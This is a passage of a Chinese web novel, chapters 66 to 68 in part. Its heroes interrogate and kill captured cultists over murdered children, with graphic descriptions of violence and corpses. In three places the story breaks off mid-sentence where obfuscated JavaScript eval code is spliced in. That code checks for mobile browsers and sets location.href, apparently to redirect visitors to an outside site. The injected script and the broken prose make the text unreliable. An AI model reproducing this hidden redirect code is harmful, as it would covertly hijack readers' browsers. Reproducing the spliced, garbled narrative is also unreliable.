关阇彦像是没听见一样,冷着脸拍了拍手上的灰尘,丢开了小刀,从四个黑衣人面前的兵器逡巡了一下,终究还是挑走了一把长剑。近来遇到的棘手事不少,手里一直没留个趁手的东西,好不容易碰上了这次机会,不拿是可惜了。 本来是想着照魏郁春说得那样,只留一个活口,但他没想到这四个人真是太弱了,根本无需靠下杀手自保。既然如此,不如四个活口都留下来,一个一个地盘问,不好好回答的再杀了也不迟。如此,说不定问到的东西更多。 “冯迎春,可以出来了!” 他还是没回答黑衣人们的话,而是转头对着某个暗处唤了一声。 那里黑黢黢一片,看着就是一片无路的石壁,哪里像是有人的样子?黑衣人们一悚,以为见鬼。但未几,暗处竟真的走出一个妙龄少女,她神色紧张,但却没有任何害怕和退缩的样子。 她紧张的竟然是—— “不需要把他们的嘴巴先封起来吗?万一他们咬舌自尽……” 黑衣人纷纷瞪大了眼睛。 这丫头长得是柔柔弱弱的,心肠怎如此歹毒?! 关阇彦却笑:“他们怕死得很,和我们之前在村里遇到的那些完全不一样。不过——” 虽是这么说,他却一把将四个人脸上蒙的黑布扯了下来,果然都是些小人样的歪瓜裂枣,看得他一个大男人都觉得眼睛发辣。然后他迅速把黑布团成了四个团,每个人嘴里都塞了一只。黑衣人们无法动弹,只能呜咽呜咽地吵嚷,眼睛里一会儿惊恐一会儿愤怒。 关阇彦的目光和刀子一样射过去,每一个黑衣人都感觉自己像被当场凌迟一样。在这种绝对意义上的魄力的碾压下,他们闭上了嘴不吱声了。他们也想不通为什么最开始会觉得此人好收拾。 “都给我老实点,待会儿她问什么就答什么,若不是说谎或是不答,别怪我剑下不留人。”他阴恻恻地盯着他们。 旋即他把目光移开到魏郁春身上,虽然脸还是冷冷的,但就是给人一种突然变得和颜悦色起来的错觉。果然这反差是太大了。 魏郁春默默在袖下摩梭了几下手指,然后在四个黑衣人中挑了一个出来:“先问他。” 关阇彦亲自上前帮她把那黑衣人口中的塞子取掉了。 这家伙应该是四个人立马脾气最爆裂的,没等魏郁春开口,他就啐了一口:“我呸,一个小丫头也配来审问我?!我他妈操——” 眼看要吐出污言秽语,关阇彦不耐烦地提着剑一把刺过了此人的胸膛,一脚踹过去,喷溅出来的血没有直接扫到一边的魏郁春。 “别的不说,喷粪是挺厉害的。” 此言一处,才算真正给了这帮痞子们来了个下马威。其余黑衣人忙要躲,但下身瘫痪,避不开一点,同类的污血染了一身,他们嗅着血腥味险些就要呕吐。 “下一个要哪位?” 面对方才的血腥场面,魏郁春只是微微闭了下眼,但很快就调整回了状态,一副处事不惊的模样,成熟了太多。 “他。”她动了动手指,言语很是冷漠。 此时黑衣人们才终于明白,比起关阇彦,这个看似人畜无害实则心肠黢黑的女子才更可怕。 “我……我我都说。”这次点到的黑衣人算听话。 她先从自己最在意的古溪村之事说起:“你们和古溪村的事情有什么关系?知道王家么?杀死他们一家三口的人是不是你们?还有,村里失踪的孩子是不是都是你们绑走的?” “不……不不是我们!但我可以告诉你们真正动手的家伙们是谁!”黑衣人瑟瑟缩缩道,“是扶风山祭坛的那些人做的,和我们没有关系!” “没关系?那捡漏是怎么个事?”关阇彦冷不丁地来一句,堵得此人冷汗直飘。 魏郁春已有了想法:“扶风山?是你们口中的旁系么?祭坛……莫非此地是盘龙山祭坛?” “你们这些人是分属于不同的祭坛么?” “对……对是这样,”黑衣人连忙点头承认,“我们都是秘术的信徒,为了供奉天仙大人,都会阻止起来进行祭祀。因为有着不同的祭坛,我们也都分为不同的组织。组织之间互为旁系。” “扶风山?”魏郁春竭力咬字,但始终想不起来南禺有这样的地方,“既然不是一个组织,为什么会有联系?麻烦交代清楚。” 虽说是麻烦,但和拿着刀架在人脖子上威胁没啥区别。 黑衣人拧着眉头,满脸扭曲,好似在做什么强烈的思想斗争,但不多时,他终究是开了口:“这次祭祀,我们得拿适合条件的南禺幼童收集血引,但这种孩童极其难找。我们打听到扶风山的信徒寻到了好几个,马上跟过去,也就是跟到了古溪村。结果他们突然遇到了意外,人都死光了,我们借了他们的光,把本该他们的手的东西偷偷抢走了——” 说到此处,黑衣人被其他两个人狠狠瞪了几眼,他们倒不是在担心秘密外泄,而是在怪罪他这蠢货同伴说漏了嘴。 因为他这话就算是直接承认了,是他们绑走的无辜幼童。可一开始,他为了脱罪,张口闭口就是“不是他做的”,他的话错漏百出,明眼人一下就能看出破绽,肯定是死定了。 关阇彦起初是奔着抓人来的,一直没工夫去石床处看看那些枉死的孩子。此时他已有时间又刚好被黑衣人的话引去了注意力,他就直接跨过了火烛群,垂首看向石床。 这些孩子死状凄惨,他顶着压力将眼神依次从他们小小的脸蛋扫去,别的孩子不说,王家儿子却是直接被他认了出来。 这孩子已经没了脸皮——被人生生活剥了,他的装束又很眼熟。 幼小的身体,浑身青紫,脸庞血肉模糊,眼珠甚至都被剐去了,死相极其凄惨。腐烂程度比其他尸体大太多,明显是被黑衣人们带入洞穴的时候,就咽气了。 他们连已经遭到荼毒的幼孩尸体都没放过。 所以,虽然在古溪村和他交手的那群黑衣人不是眼前这帮畜生,但趁乱劫走无辜孩子并杀害的人却是他们——除了王家孩子,其他孩子都死于他们手上。 他们的罪状甚至远远比已经死去的那些黑衣人还要大。 他攥了攥拳头,恨不得当场把这些畜生捏成齑粉。 “一帮畜生,”他踩着重步走回来,满脸煞气,毫不客气地指着刚才开口的黑衣人道,“手段如此狠毒,王叔家三口人真不是你们杀的么?” 魏郁春也已浑身颤抖,她怎么都想不到身边的威胁竟如此之多,原来这个山那个山的黑衣人多得数不过来。即便古溪村动手的黑衣人被灭了,却也会有其他的歹徒找上门,滔滔不绝。 她响起眼前黑衣人不久前说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以,真正劫走其他孩子的人其实是你们,你们隔岸观火,在冯家和王家的黑衣人们慌乱之时从中获利。事后也没有放过王家的儿子,对么?” 她的语气很冷,似一把无形的刀子。 黑衣人眼看就要哭出泪来,他已没有为自己开脱的余地了:“是……是这样……” “可那时,王家儿子已经被剥皮死去了……”魏郁春心情灰败。 “但,为什么……是‘奇怪为什么王叔那头的黑衣人会不见了’?你是不是早就意识到了这些?但你没有告诉过我。” 魏郁春抬着复杂的眼神望向关阇彦,无助道。 关阇彦暗了暗神色,道:“是,我有过这些怀疑,所以那天和村人们处理完王氏的尸体后,还特意将王家里里外外查了一遍,没有任何拖拽的痕迹,甚至都没有一致的出门的脚印,这足以证明还有第三派歹徒的存在。” 他嘴角冷地扯了扯,斜眼盯了黑衣人一眼:“所以你说谎了,你和你的同伙其实很心急,在王家那派人还没出门前,你们就把已经死去的孩子劫走了吧?” “随后你们把那些黑衣人们的尸体处理了,为什么会这么心急?难道不应该按照你说的那样,等他们出了村上了路再动手更好吗?何必如此费力,你在隐瞒什么?” “我我……我只是记错了——”黑衣人崩溃大叫,但话音没结束,他便死于关阇彦的剑下。 对方冷血的话让魏郁春在内的所有人都震了震。 “我说过,说谎得死。” 事后他又若无其事地对魏郁春道:“说吧,这次挑谁来回答?” 魏郁春默了默,又指了一个人,并且接着问道:“为何要隐瞒?” “因……因为我们怕被扶风山的信徒发现,我们知道他们还派了一大堆人守在村郊的雾林里。” “我们若要出村就一定会经过那里,晚上天黑,仅仅带走孩子很好办,略加掩饰或者声东击西都行。但是若要在他们眼皮子底下杀人却很困难,同一组织的信徒都会用统一的秘术进行联系,杀得再隐蔽,都难。” 魏郁春又看了关阇彦一眼,心想眼前黑衣人其实和他们有着很大的信息差。 他们忧虑的雾林黑衣人其实早在先前就都被关阇彦杀掉了,而他们还一直深深相信他们还活着守在林里,因而顾虑重重。 她道:“你们既不想让村里人发现也不想被旁系发现,索性在王家就办了事,那时村里冯家刚好死着人,即便这些人有什么能让他们和同伙心照不宣的秘术,也会被混淆了判断对么?” 这个黑衣人一脸死灰地应她:“是的。” “你们方才在这里说的话我都听到了,你们是不是还有同伙在地面上?” “是的……” “他们还活着么?” “我……我我不知道。” “一个人的死活都不知道?” “我真的不知道。”亲眼见证了两个前人的惨状,他是断不敢说谎的。他是真的不知道。 魏郁春得到了回应却摇了摇头:“不对。” 66. 南禺邪秘(3) “你的那些同伙至少有七个人死了,”两个死在初遇时的死门,还有五个则死在泥沼遍布的惊门,魏郁春继续说着,“你说同伙之间有能联系生死的秘术,那你为什么不知道它们是死是活?” “你撒谎了?” 此句一出,黑衣人连忙哭道:“我……我没有,我没有撒谎。” “是……是这样的,我们这些侍奉盘龙山的信徒以前是没有的,因为这座山太过诡异了。以前所有人甚至都以为这里的祭坛也是不存在的。” “曾经,我们这些底层信徒只能到处漂泊,随从其他祭坛的信徒做事,常常受他们欺压……我们这些人都是刚组织起来的,从前每个人都跟侍奉过好几个不同的祭坛,不谈秘术,平时做事也没什么主心骨,互不信任、互相挑唆都是常有的事。” 这倒是实话,因为这些黑衣人和关阇彦和魏郁春见过的的确不一样。想到之前古溪村的那些简直就是些疯子,他们是为达目的不罢休的死士。而他们……贪生怕死至此,分歧更是一个比一个多。 关阇彦和魏郁春都静声了一会儿,眼看没有杀意了,黑衣人才敢正常呼吸。 “刚组织起来的?什么时候?”下一个问题已经开始,魏郁春并不愿意给对方喘息的机会。 “两个月前左右……” 又是两个月前……果然这些事情都是提前算计好的,幕后之人应是极其忌惮他,非要把他安排至死,才肯放手做这些不干净的事情。为什么忌惮呢?因为他是安南都督么?但这么想会不会显得太简单了。关阇彦的脸色瞬间阴沉了下去。 魏郁春道:“是你们口中的通仙大人命令的么?” 黑衣人哽咽道:“是的。” “他是什么人?” “是指引我们和天仙交流的天降神人。他会指引我们祭祀天仙。” “天降神人?”关阇彦在心中冷哼道,“这等老掉牙的说法都有人信?看来这就是南禺的民风不开化的致命之处。” 他蹙眉,不怀好意地撂了一句:“什么通仙?其实就是个神神叨叨的神棍。” 黑衣人瑟缩了几下,神经兮兮的,好似是担心这样的话会落到大人还有天仙的耳朵里,然后遭到什么报应啥的。邪术扰心,看来是病得不轻了。 “祭祀天仙,既是邪术,每次祭祀都不知道要上供多少条人命吧?理应惊动天下才对……” 魏郁春在心中想着,然后将他唤回神:“除了两个月前的祭祀以外,之前还有过么?” “有……有,但只有两次……一次是两百多年前,还有一次是二十二年前。” 魏郁春知道此事:“两百多年前……那不就是关氏助先帝南征的时间么?” 南蛮东夷邪术猖獗,对中晋统治不服,屡屡骚扰国土边界,最后中晋忍无可忍,南征灭邪,合并为禺。 关阇彦以局外人的姿态说道:“没错,而且忍无可忍的原因就是南禺邪术扰乱人心,这些邪徒还无数次试图潜入中晋宣扬邪道。” “二十二年前,”也很巧合,就是朝廷派他爹去灭死而复生后,又来骚扰中晋百姓的邪贼的时间,他依旧平声平气地道,“南禺怪贼潜入湘广、岭阳甚至京城的地界,残害万千百姓,受难者孩童居多。的确对得上。” 他这是认可了黑衣人的答案。同时,他也暗自琢磨了起来,三次祭祀都和关氏脱不开关系……难道这第三次祭祀时对他的暗杀,就是幕后黑手吃过上代两次亏后,对他的报复么?幕后人如此做,真的仅仅是因为报仇……抑或是忌惮他打搅他的大计? “还是不对。” 魏郁春的声音打破他的沉思,她指着石床上的七八具尸体,对黑衣人不解道:“既被他人欺压,说明了你们实力本就弱,跟在后头捡捡剩肉不应该风险更小么?” “你们却非要把这些孩子全部都抢走,为什么这么着急?” 提到此处,紧张瑟缩的黑衣人居然支棱了起来,话里窜着隐隐的怒火:“我们常年被欺压,尤其是那帮距离我们最近的扶风山祭坛的信徒。若是他们手里所有的幼童都没有了,最后大人便会问责他们,他们会死。所以我们想证明自己,也想报复他们。” “敢做不敢当,心思歹毒,但不敢走漏风声。”关阇彦评价起来,他浓墨色的眼底冒出越拉越多的讽刺意味。 魏郁春想了想:“你们口中所谓的借东西是什么意思?” 黑衣人:“我们得把这些幼童们的血收集起来,奉入祭坛后送到通仙大人的手中,让他凝练成血丹祭祀天仙……但一个多月前,集血的法器却突然不见了,后来才发现是有外来者易容潜入了我们当中,亵渎了秘术还偷走了法器……” “十几天后,我们手里掳来一个孩童,准备请出法器,这时候才发现了法器被盗……情急之下,我们把孩童送给了扶风山旁系,他们正巧谋划着古溪村的事,用不上法器,就借给了我们。我们也是因此得知了他们的计划,才跟到古溪村偷窥的。发现村中符合条件的孩子竟出奇得多,打算据为己有。” “你们害怕被扶风山发现的另外一个原因,是担心法器落空?” 魏郁春不敢置信,这些黑衣人真是贪婪到了极致,盯紧了这个目标就必须将其吃干抹净,不管是别人着手抢走的孩子,还是受贿借出去的法器…… 但人太贪,终究会引火烧身。 黑衣人欲哭无泪地颔首承认。 关阇彦冷眼看他:“你们是不是真的以为只要好好回答了问题,我就可以放你们一条生路?方才那人之所以有所保留,担心的不就是这些丑事败露?若往后还能活着,这些顾虑当然重要,不是么?不过有方才那人的教训,谅你想说谎也不敢了。” 他的话完完全全反应了黑衣人心里所想。若不是方才那人死了,他也会为了隐瞒实情,故意说谎……但他现在害怕了。听关阇彦话的意思,现在害怕也是无效。 “你方才说盗窃的人是易容混入的?为什么当时没发现,反而等法器真的消失后才意识到?难道那人真的一点破绽都没有?”关阇彦道。 黑衣人摇摇头:“我们的组织零散,一个月前人也没聚好,一会儿多一会儿少的,多一个人少一个人都难说。大家身高也层次不齐,平时都是蒙着面的,那贼人本就易了容,更加看不出区别。” “你们一点戒心都没有?法器这么重要的东西,你们平日没有防范措施?”关阇彦只觉得无法理解。 “信徒本身互相以心为戒,法器不是什么人都能碰的,触怒了天仙就得下地狱。” “我们每个人也会学点秘术,秘术古语除了资历深的信徒没人读得懂,而且……这山邪门,我们自己人都经常找不到祭坛,外人根本做不到啊。” “秘术所需之法器,遗落酆都罗山,凡取用者不可犯戒,犯戒者必携法器跪行至酆都罗山奉罪?” 魏郁春记着拓印古文下的这些话,听到黑衣人的话觉得熟悉,索性复述了出来。 黑衣人膛目结舌:“你如何知晓?!” “你以为的除了信徒没人懂的秘语其实就是古代南禺文字,这世间总有人能破译。”关阇彦道,言语里皆是对被秘术浸淫到无可救药的黑衣人的鄙夷。 “人数不定的情况下,法器丢失,你们是怎么确定它是被人偷走了的?”魏郁春继续问着。 “我们一开始也只是以为法器被遗落在了哪个地方,到处去找,结果在山上找到了一具死尸,尸体的脸皮被剥了,而且尸体死了好几天了……和法器丢失的时间对得上。这不就是有贼用了换脸秘术,混入我们当中盗走了法器?” “你确信是贼,不是内鬼?”如果只是贼,他又怎么会破译古文,并且学会秘术? “是贼!真正的信徒永远不敢触碰法器,那是无穷无尽的诅咒啊!” 黑衣人神神叨叨得厉害,关魏二人觉得和这种人根本无法好好沟通,皆是头疼不已。 “好好好,是贼,”关阇彦捏了捏太阳穴,“此贼肯费心换脸,就肯定会特地挑走和自己外形条件一致的人下手。那具尸体现在也找不了了,除了面容外,还有没有其他特别的特征?最好是肉眼就能看出来的。” 黑衣人下眯起眼,认真思索,很快他就有了答案:“有了!他……个子很高!” “多高?”魏郁春和关阇彦同时问道。 黑衣人目光放在了关阇彦身上,不假思索道:“估摸比你还要高一些。” 能比他还高的南禺人委实不多见,目前除了陆子礼,他还没见过哪一个人会这样。 又是陆子礼……先前在破阵的时候,就觉得他有问题了,现如今绕来绕去,问题还是绕到了他身上。 “骨架呢?”魏郁春记得陆子礼的骨架子比常人都要大,因此同样的肉长在他身上也能长成皮包骨的样子。 “骨架……”黑衣人为难,“平日大家都一身黑衣,山上常年阴暗,没仔细看就看不出来啊。” “你们就没想过好好查查,然后去找贼人?” “时间根本来不及……我们压根没往这上面想,而且真去找了风声就大了,被旁系信徒和通仙大人发现就完蛋了。” 魏郁春心中仍为石床上无辜死去的生命感到痛心,颤道:“你们今日是靠着算好了的山时汇合到此地进行祭祀,但负责借来法器的人却迟迟不到,这些孩子们的尸体血液近乎干涸,等同无用……为什么你们不能等法器到了再动手?” 送法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447409|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器的黑衣人死了,若是再等等,这些孩子应该还能活着。 黑衣人知道她误会了什么,忙解释:“这些祭品是自己饿死的,我们是没有办法才切开他们的脉络放血……本说着下午便要开始祭祀,法器却迟迟不到,这才酿了祸。” 横竖都是杀人,他觉得这些并非孩子们直接死亡的原因,竟认为这样的说辞是种解释。 魏郁春忍着怒火,想起地面上的黑衣人还不止那七个已经死去的,万一法器在这拨人手上,以后定还会遗祸。 她道:“地面上其他的同伙要怎么找到?” 黑衣人懵了:“其他?我我……我们地面上的只有七个人!你们刚刚不是还说七个人都死了吗?盘龙山祭坛带上我们,一共就十一号人啊!” 这怎么可能,当时不应该还遇到了其他人么?! 关阇彦喝他:“我们分明看到了其他人,你还在狡辩?” 这下一直没吭声的另外一个黑衣人也咬着布团呜呜了起来,模样焦急,放他说话后,那人道:“真的只有十一个人!我们没有骗你!” “难道那些人是其他祭坛的黑衣人?”魏郁春只能如此想。 关阇彦回忆起当时和两拨人交手的场景,当时确实觉得两拨人身手不太一样,他是因为第一拨人口中的“人少”,才直接将两拨人视为同伙的。但现在,眼前两个俘虏拒不承认此事,所谓的团伙,对应的也不是回忆里的两拨人,而是穴下的四个黑衣人和地面上带着法器的七个黑衣人。 他想起古溪村和扶风山信徒惯用的风圈战术和那七个人使用的战术一致,旋即问道:“你们和扶风山的信徒都喜欢用同一种招数么?譬如喜欢聚集起来围成圈,再快速奔跑混淆圈内人的视听。就像风圈一样。” 黑衣人道:“我们的身手皆是秘术所授,加上扶风山靠得最近,秘术相似,这种招数也是共用的。” 关阇彦点点头,然后看向魏郁春:“不是祭坛的黑衣人,其余的黑衣人恐怕根本不是信徒。” “陆子礼……不是信徒的黑衣人……窃取法器且会换脸秘术的贼人,”关阇彦心道,“本该没有任何相同点的三者,到底有着着什么不可告人的联系?” 既然都提到了古溪村的扶风山信徒,他还得好好问问关于胎记的事:“你们信徒除了会易容外,是不是还喜欢刻意隐藏某个印记……胎记什么的?譬如拿粉抹一抹什么的。” 两个黑衣人对视一眼,眼中皆是恐惧:“那是禁忌!那是禁忌!” 魏郁春:“什么禁忌?” “不能让外人看到的禁忌……我们每个人都有,所以……所以得藏起来,不能碰到水。” 他们瑟缩着,十分痛苦,一边畏惧着禁忌的惩戒,一边又畏惧着关魏二人的施压。 “每个人都有?”魏郁春盯着二人,“你们也有?” “为什么不能碰到水?” “等等,是不是也不能碰到阳光?”魏郁春顿住。 “什么意思?”关阇彦问道。 “你还记得陆子礼之前挂在门上的字吗?两个禁忌,一个落雨,一个白天不入夜,之后他也和我们补充过这是秘术的禁忌,所以他做法都挑在不下雨的深夜。白天不出门,若是下雨也不能见客。” 两个黑衣人惊讶地点点头:“是……是这两个禁忌,你们怎么还知道?!” “竟是如此……” 关阇彦转头对魏郁春认真道:“巧儿走丢的那个雨夜,想要袭击我们的黑衣人脖子后就有一个黑色的胎记样物。后来才知道他是夺走了面皮伪装成的王叔,但那时我没有看到他的印记。” “可最后雾林之战里,我才发现黑衣人的真实身份,但我却没找到他脖子后的印记,而那天晚上刚好没下雨。冯家的黑衣人也是易容过的,身上的肤色也是特意处理过的,但人死后,粉末现行脱落,露出了破绽。我便明白了,林子里的王叔黑衣人脖子后的印记之所以能藏起来,也是因为故意拿东西涂抹了,常人看不出来。” “之所以忌惮下雨,不是因为黑衣人的印记见不得人,而是因为大雨会冲刷掉了他掩饰的粉末,把印记露出来了。因为他忌惮白天里印记见光,害怕麻烦,索性从早到晚都拿粉末抹住,于是他是王叔的时候,我看不到印记,他暴露身份的时候,我依旧没看到印记。只有下雨的时候,我才能看得到。” “你之前和我说过,那天晚上你手上沾了水,才勉强把黑衣人身上的粉末抹掉,但那个黑衣人终究不是王叔,印记不在脖子上,所以我们没有联想到此处。”魏郁春点点头。 台下两个黑衣人越听越懵,最后直接放弃参与这两个聪明人的对话,满脸呆木。他们还不知道接下来将要面临什么。 67. 风水罗盘 不知什么时候,关魏二人终于聊完了,他们一同转向黑衣人,满脸都是不怀好意。 “你……你们还想干什么?” “把印记给我们看看。” 想来想去,他们觉得还是亲眼将此物看清楚比较重要,毕竟信徒们人人都有。以后要是遇到了会伪装会换皮的,他们完完全全可以借此分辨个好赖,根本不需要像对待古溪村的王叔那样,拐那么多的弯儿了。 他们先前不知这个秘密,错过了很多次这样的机会,这下他们肯定好好珍惜。 黑衣人们一听连忙哭嚎起来,他们此时才意识到方才不该那么多舌,现在对方就要得寸进尺,他们却也拦不住,只能趴在地上像蛆一样痛苦地蠕动。 关阇彦摆头一笑,摩摩手掌:“放心,我们已经替你们排除了顾虑,你们那邪术都是骗你们的。不能碰水约等于不能碰雨,防止粉末被冲印记暴露,应该是保护你们身份的一种措施。不能见光也是一样的,白天人的视野好,容易被发现印记而已。” 一个黑衣人惶恐不已:“明明……触犯禁忌的人都只会死……之前我亲眼见过有人……” “我之前也遇到过你们这种信徒,他在大雨下不还是活奔乱跳的?”关阇彦二话不说就上了手,揪住了对方一角衣领子,“再说了,你们现在有反抗的权力么?说,你的印记在什么地方?” “我我……”黑衣人泪流满面。 “不说的话,皮剥下来看也是一样。” 魏郁春默默咽着口水,斜斜看着一脸黑气的关阇彦,心道他这副模样有点太过吓人了,之前能让她怦然心动的好感至少在此时不会出现。 “在……在□□!”这个黑衣人哀声道,满脸囧相。 魏郁春闻言一怔,仓促转过身去:“你们继续。” “此处没有水,也就口水能擦了,你不介意我还介意呢,”关阇彦阴阳怪气地说道,放下此人衣领,对着另外一个人道,“你的呢?” “在……左腿上。” 关阇彦低着头看着趴在地上只有头能动的黑衣人半晌,终究是嫌弃地动手把他从地面上翻了过来。毕竟此人自己又翻不过来,也不好叫魏郁春搭把手,免得两个人的手都惹脏了。 黑衣人驮着背坐在地面上,艰难地伸着抖动的手把左腿裤管子撩开了,然后狼狈地在手上忒了一口口水,自己也满脸嫌恶地抹到了皮肤上,搓下一堆泥球,这么一看,也不知多久没洗澡了。 随着泥球脱落的也有遮掩印记的粉末,眼见印记现行,黑衣人挤着泪闭上了眼,唯恐下一秒就因悖逆天仙旨意爆体而亡了。 但显然,他没有死,他自己也不敢置信地睁开了摩梭的泪眼,口中喃喃:“这怎么可能……” 因为他的的确确是见过有人因为印记暴露在光下而死的。怎么现在触犯了禁忌,反而没事了? 关阇彦撇去黑衣人的手,顶着不适感,又用力搓了一把人腿上的糙皮,黑衣人疼得嗷嗷叫。 魏郁春也转回身来了,仔细端详着露出面目的印记。此物黑黢黢一片,但凑近才知道它是一朵黑色的花,花瓣之间留白,很像无骨画的笔触。这哪里是什么胎记,分明是人精心雕琢的刺青。 关阇彦皱眉:“古溪村黑衣人脖子后的印记和它的轮廓很像,但我没想到它竟长这样。” “你呢,你的胎记也这样吗?”魏郁春抓住印记在□□的黑衣人问。 “是……大家的都这样,但花的形状和地方都是随机的。” “什么意思,不是有人刺青刺上去的?”关阇彦想不通这种东西也有随便不随便的说法。 “刺……刺青?”两个黑衣人相视迷茫,“信徒们的印记都是自行出现的啊。” “平白无故的就出现了?”这不是胡扯吗? “不不——” 在黑衣人还想解释的时候,魏郁春无奈摇头打断:“我知道你是想说受秘术的影响。” 黑衣人频频点头。关阇彦简直被这两个傻子气得发笑:“即便真有什么本事滔天的邪术,也没办法因为你们的突然信仰,主动在你们身上烙印,凡事都有个契机。要不然你们想想,有哪个人再刚踏入此行后,身上就突然出现花纹的?哦——也不用别人,你们自己的遭遇也够用。” 两个黑衣人闻言虎躯一震:“是的!我们成为信徒后有一段时间后,这个花纹才长出来的!” “再想想花纹怎么长出来的,吃了什么?接触了什么?” “那是好几年前的事情了,我们……想不出来。” “也是,毕竟二位愚钝至此。”关阇彦也不恼,呵呵冷笑着。 魏郁春想到了陆子礼,拉住关阇彦说:“陆子礼既要用邪术,他会不会身上也有这种印记?我们可以通过他这条线去查花纹出现的真正原因。” 关阇彦颔首:“嗯,出去后就再去找他。” 魏郁春还在盯着那花纹印记看,越看越觉得熟悉,但光线太暗,看不分清,于是摆脱关阇彦去烛火圈中拿来了一只火烛。她举着火光,慢慢凑近了花纹。记忆的海洋翻滚起来,无数本书页在她脑海里簌簌翻动。她终于想了起来:“这是一朵曼陀罗花。我以前在一本药草籍里见过,它的花很特别,书页上画过,和印记很像,我感到很熟悉。” “曼陀罗?那不是蒙汗药的原料么?”关阇彦惊道,想到古溪村黑衣人迷幻冯家老小时也是用的蒙汗药,太巧合了。 “黑色曼陀罗有一个鲜为人知的名字,”魏郁春默默吸了一口寒气,“天仙花。天仙花就是天仙秘术的图腾。” 黑衣人们又讶住了:“天仙花?你怎么认出来的?!” 看来他们只知道天仙花的名字,要不然也不会听不懂魏郁春方才提及曼陀罗花的话。 魏郁春对黑衣人的反应已习以为常,她专注于手头的事,她把烛光凑得更近了一些,生怕错失细节,但她发现黑衣人的脚腕突然发黑了起来,她赶忙丢开火烛,可脚上的黑色依旧在蔓延,皮肤上的天仙花好似动了起来,原来是皮肤因痛而抽搐。 “疼!好疼!”黑衣人嚎哭不已,“我……我触犯了禁忌,被天仙大人发现了……我我……” 说罢,他已口吐白沫,仰面死去。他那条左腿已经全部变黑,活似被烧成了炭的干柴,已经看不到印记了。 魏郁春大惊,连忙往后退,幸存的最后一个黑衣人也快被吓晕。 关阇彦一时也不敢靠近这具古怪的尸体,说:“怎么会这样?为何可以碰水却不能见光?” 魏郁春已经知晓天仙印记的来历,喘着息说出了猜测:“天仙花生性也是如此,不但不怕雨水反而更喜欢阴暗潮湿的环境,它唯独害怕光亮。所以禁忌应该和此有关。” “禁忌里之所以忌水,是为了警告信徒在白日里要将印记遮掩好,从而避免遮挡光亮的粉末因水脱落……从头到尾,它忌惮的其实一直都只有光亮罢了。黑衣人们和我们一开始都将水和光分开来琢磨了,这才导致理解出现了误差。” 她说话间,目光扫到了最后一个黑衣人身上,那黑衣人满脸绝望地嚷着“不要碰他”。 她叹息,看来得利用这最后一次机会问点有用的东西了。 于是她岔开话题:“入山难,出山呢?怎么才能从此地离开?” 黑衣人见她没再抓着印记不放,也送了一口气,他抬臂道:“沿着这个方向一直走,经过埋尸的墓穴,选最右手边的方向不停走,连续跨越好几座山,尽头会有一只天窗,通向了外界。但你们得当心,不远处就是扶风山的地盘。” 关阇彦不以为然:“不必,扶风山的信徒应该都被灭了,其中还有你们的功劳呢,毕竟从王家逃走的家伙是你们逮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难道都是骗人的?那位先生根本没有郁郁而终,而是在更早的时候就盘算了这座山的阵法。毕竟要将这样厉害的阵法安置到大山中,哪怕是天才,没有个三年五载,是无法完工的。 此地有风水罗盘,却没有成年男人的尸骨,莫非那位先生他还活着? 这到底是怎么回事?关阇彦握住罗盘的手颤抖不已,心中喜忧参半。 他回到黑衣人身边,拿开他口中的布团,问他:“在你们之前,盘龙山祭坛可有人用过?” 黑衣人老实回他:“没……没有,其实盘龙山本该和扶风山一样,没有外人知晓的名字。但后来因为山下陆陆续续搬来的一些村民,有人莽撞入山发现此山险峻,才给它取了这个名。我们这些信徒,也是两个月前从通仙大人那里得知此山也有祭坛。” “盘龙山开始有名是多少年前的事?” “也就……十年前左右的事吧。” 十年之前,盘龙山默默无闻,十年后阵成,上山村民受阵法幻术影响,落荒而逃,山名就此诞生。 十年……关阇彦在心中默默盘算,和八年很近,先生的确是在死讯公布前就准备布了阵,甚至阵法在更早的时候就完工了。十年和八年相隔两年,所以死讯是在先生死后第二年才公布的……先生尸骨下落不明,是谁公布的死讯?这就是个很诡异的问题了。 应该是有人故意用这种错开时间的方式,想要遮掩先生的下落吧。这个人只会是利用先生布阵的人,是盘龙山祭坛最后的既得利益者——“通仙大人”。他是多害怕会有人发现自己与先生的关系。 但很可惜,他再藏也没藏得住。 此时,魏郁春的声音响起,回音荡在穴下,她强行压抑着腔调里的紧张和不安:“关贤齐,这里有一具尸体。” 68. 墓窟玄夜(1) 关阇彦闻讯赶去,发现那是一堆散落地七七八八的骨头,从头到尾,勉勉强强还能看出是个成年男人的尸骨。尸骨有一大半都嵌在靠石壁脚下的泥地里,有了一些年份,但不会超过十年。 泥地下还嵌着什么东西绕在尸骨的桡骨上,他俯身下去,用手掸了掸灰,发现那是一只串着黑白色阴阳珠串的手链,手链在骨头上缠绕了至少三四圈。他的脸色顿时暗下去,因为除了风水罗盘外,这位奇世的先生还有一只喜欢得不得了的至宝——阴阳串。此物做工粗糙,黑白色搭配不均,像是被随意泼了染料染出来的劣质品。 先生喜欢将其绕在左手腕上,一绕便是三四圈…… 他本以为先生没有隐世,而是用死遁离开了人们的视野。或许先生还活着,他说不定还能再找到他。但看到这具尸骨的那刻起,他便放弃了这个不可能的念头。 “你怎么了?”魏郁春忧心仲仲。 关阇彦怏怏不乐:“在破阵时,我发现阵法和曾经授我奇门之术的高人布阵的思路一致,我本以为是巧合,怎么都想不到盘龙山的阵是他亲手布下的。” 